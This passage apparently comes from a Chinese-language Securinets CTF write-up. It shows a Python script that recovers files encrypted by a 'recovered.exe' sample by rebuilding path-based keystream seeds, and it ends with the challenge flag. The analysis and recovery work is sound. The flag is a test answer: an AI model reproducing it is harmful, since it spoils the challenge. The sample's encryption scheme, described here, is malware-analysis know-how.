raw = src_path.read_bytes()
except Exception as e:
print(f"[!] 读取失败 {src_path}: {e}")
return

candidate_seed_names = []
if multi_drive:
# 将驱动器字母替换首段 (若路径形如 C:\Users...)
if len(inferred_seed_name) >= 2 and inferred_seed_name[1] == ':':
for d in multi_drive:
candidate_seed_names.append(inferred_seed_name.replace(inferred_seed_name[0], d.upper(), 1))
else:
for d in multi_drive:
candidate_seed_names.append(f"{d.upper()}:\\{inferred_seed_name.lstrip('\\')}")
# 确保原始加入首位
candidate_seed_names.insert(0, inferred_seed_name)

candidates = []
for seed_n in candidate_seed_names:
candidates.append((seed_n, variant))
if variant == 'auto':
candidates.append((seed_n, 'post'))
candidates.append((seed_n, 'pre'))
# 去重保持顺序
seen = set()
uniq = []
for c in candidates:
if c not in seen:
uniq.append(c); seen.add(c)

dec, (used_seed, used_variant) = attempt_decrypt(raw, uniq, validate)
ok = True if not validate else looks_reasonable(dec)

if not ok and backup_on_fail:
bak = dst_path.with_suffix(dst_path.suffix + '.enc')
try:
bak.parent.mkdir(parents=True, exist_ok=True)
if src_path != bak:
bak.write_bytes(raw)
except Exception as e:
print(f"[!] 备份失败 {bak}: {e}")
try:
dst_path.parent.mkdir(parents=True, exist_ok=True)
dst_path.write_bytes(dec)
except Exception as e:
print(f"[!] 写入失败 {dst_path}: {e}")
return
status = 'OK' if ok else '?'
print(f"[+] 解密 {src_path} -> {dst_path} seed='{used_seed}' variant={used_variant} size={len(raw)} status={status}")


def build_inferred_name(src_path: pathlib.Path, base_dir: pathlib.Path, orig_root: Optional[str], basename_only: bool) -> str:
if basename_only:
return src_path.name
if orig_root:
try:
rel = src_path.relative_to(base_dir)
except ValueError:
rel = src_path.name
win_rel = str(rel).replace('/', '\\')
return (orig_root.rstrip('\\') + '\\' + win_rel)
else:
return str(src_path.absolute()).replace('/', '\\')


def iter_files(base: pathlib.Path, skip_dirs=None):
skip_dirs = set(skip_dirs or [])
for root, dirs, files in os.walk(base):
dirs[:] = [d for d in dirs if d not in skip_dirs]
for f in files:
yield pathlib.Path(root) / f


def main():
ap = argparse.ArgumentParser(description="Decrypt files encrypted by recovered.exe sample")
ap.add_argument('--base', default='.', help='扫描起始目录(转储根)')
ap.add_argument('--orig-root', help='原始 USERPROFILE 绝对路径 (如 C:\\Users\\gumba)')
ap.add_argument('--out-dir', help='输出根目录 (若不指定则原地覆盖)')
ap.add_argument('--basename-only', action='store_true', help='仅用文件名作为种子 (猜测模式)')
ap.add_argument('--skip-appdata', action='store_true', help='跳过含 AppData 的目录 (默认行为与恶意程序一致)')
ap.add_argument('--validate', action='store_true', help='基于魔数/可打印度简单校验结果合理性')
ap.add_argument('--validate-fail-backup', action='store_true', help='若校验失败, 备份原加密文件(.enc)')
ap.add_argument('--variant', choices=['post','pre','auto'], default='post', help='密钥流变体: post=先推进再取, pre=先取后推进, auto=都试')
ap.add_argument('--try-drive', help='逗号分隔驱动器字母列表, 例如 C,D,E (会尝试不同盘符)')
args = ap.parse_args()

base_dir = pathlib.Path(args.base).resolve()
if not base_dir.exists():
print(f"[!] base 不存在: {base_dir}")
return 1

out_root = pathlib.Path(args.out_dir).resolve() if args.out_dir else None

drives = []
if args.try_drive:
drives = [d.strip().upper() for d in args.try_drive.split(',') if d.strip()]

skip = set()
if args.skip_appdata:
skip.add('AppData')

total = 0
for p in iter_files(base_dir, skip_dirs=skip):
if p.name == 'IMPORTANT_NOTICE.txt':
continue
inferred_name = build_inferred_name(p, base_dir, args.orig_root, args.basename_only)
dst = p if out_root is None else (out_root / p.relative_to(base_dir))
decrypt_file(p, inferred_name, dst, args.validate, args.validate_fail_backup, args.variant, drives)
total += 1
print(f"[*] 完成. 处理文件数: {total}")
return 0

if __name__ == '__main__':
sys.exit(main())

在解密后的文件中得到flagSecurinets{D4t_W4snt_H4rd_1_Hope}

image-20251006212258352